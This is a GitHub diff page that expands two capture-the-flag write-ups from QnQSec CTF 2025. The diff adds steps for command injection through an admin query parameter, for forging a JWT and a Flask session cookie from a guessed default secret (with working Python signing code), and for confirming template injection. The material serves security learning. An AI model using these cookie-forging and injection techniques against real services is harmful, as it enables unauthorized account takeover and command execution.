You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: docs/QnQSec CTF 2025/Warmup/A easy web.md
+16-4Lines changed: 16 additions & 4 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -28,12 +28,24 @@ CMD ["python", "app.py"]
28
28
29
29
## Approach
30
30
31
-
The `index.html` tells to go to `/profile?uid=1`.
31
+
`/`:
32
32
33
-
That endpoint sayssaid that this is a guest user.
33
+

34
+
35
+
`/profile?uid=1`:
36
+
37
+

34
38
35
39
Tried running a script to check all uids from 1 to 100 -> no luck
36
40
37
-
Guessed `1337` (because of its [significance](https://en.wikipedia.org/wiki/Leet)), and it worked! That endpoint was an admin page that provides a shell.
41
+
Guessed `1337` (because of its [significance](https://en.wikipedia.org/wiki/Leet)), and it worked!
42
+
43
+

44
+
45
+
Clicking on admin panel, we are taken to `/admin?cmd=whoami&uid=1337`:
46
+
47
+

48
+
49
+
Typing commands in the text box and clicking "Run" gives "Access Denied". But providing commands in query params works!
38
50
39
-
Using `ls` commands, found out the random name of the flag file and then `cat` it
51
+
Using `ls -a` commands, found out the random name of the flag file and then `cat` it
Copy file name to clipboardExpand all lines: docs/QnQSec CTF 2025/Web/QnQsec portal.md
+40-7Lines changed: 40 additions & 7 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -167,11 +167,15 @@ if __name__ == '__main__':
167
167
168
168
Firstly, a login screen is displayed.
169
169
170
+

171
+
170
172
From the source code, it's clear that we need to login as "Flag", but we only have its md5-hashed password. [John the Ripper](https://github.com/openwall/john) with `rockyou.txt` couldn't decrypt it.
171
173
172
-
Registering with some username ("hello") and password ("world") and then logging in sets two cookies: `admin_jwt` and `session`
174
+
Registering with some username ("user52") and password ("pass") and then logging in sets two cookies: `admin_jwt` and `session`
175
+
176
+

173
177
174
-
On [jwt.io](https://www.jwt.io/), decoding the `admin_jwt` cookie value gives a payload that contains `"user":"hello", "role":"User"`
178
+
On [jwt.io](https://www.jwt.io/), decoding the `admin_jwt` cookie value gives a payload that contains `"sub":"hello", "role":"User"`
175
179
176
180
```python
177
181
base = os.environ.get("Q_SECRET", "qnqsec-default")
On the same website, we can verify if a given JWT key is valid or not for the provided token. The SHA256 hash of `jwtpepper:qnqsec-default` worked! So, the value of `base` is `qnqsec-default`.
183
187
184
-
Now, we can encode a new jwt token with `"user":"Flag", "role":"admin"`; and use Flask to create a new session token with `"user":"Flag"`
188
+

189
+
190
+
Now, we can encode a new jwt token with `"sub":"Flag", "role":"admin"`; and use Flask to create a new session token with `"user":"Flag"`
191
+
192
+

193
+
194
+
```python
195
+
from flask import Flask
196
+
from flask.sessions import SecureCookieSessionInterface
197
+
198
+
defgenerate_flask_session(payload, secret_key):
199
+
app = Flask(__name__)
200
+
app.secret_key = secret_key
201
+
202
+
si = SecureCookieSessionInterface()
203
+
serializer = si.get_signing_serializer(app)
204
+
205
+
return serializer.dumps(payload)
206
+
207
+
if__name__=="__main__":
208
+
SECRETKEY="40913aa300c33db34d976a59975adf18d90a246a"# SHA1 of 'pepper:qnqsec-default'
Set these cookies to the updated values and go to the `/account` endpoint.
216
+
217
+

218
+
219
+

185
220
186
-
Set these cookies to the updated values and go to the `/account` endpoint. Now we get access to the admin account, and a form is displayed which asks us to provide a *template* which it will render. This is obviously **SSTI**
221
+
A form is displayed which asks us to provide a *template* which it will render. This is obviously **SSTI**. Verified by rendering `{{ 7 * '7'}}`, it outputs `7777777`
0 commit comments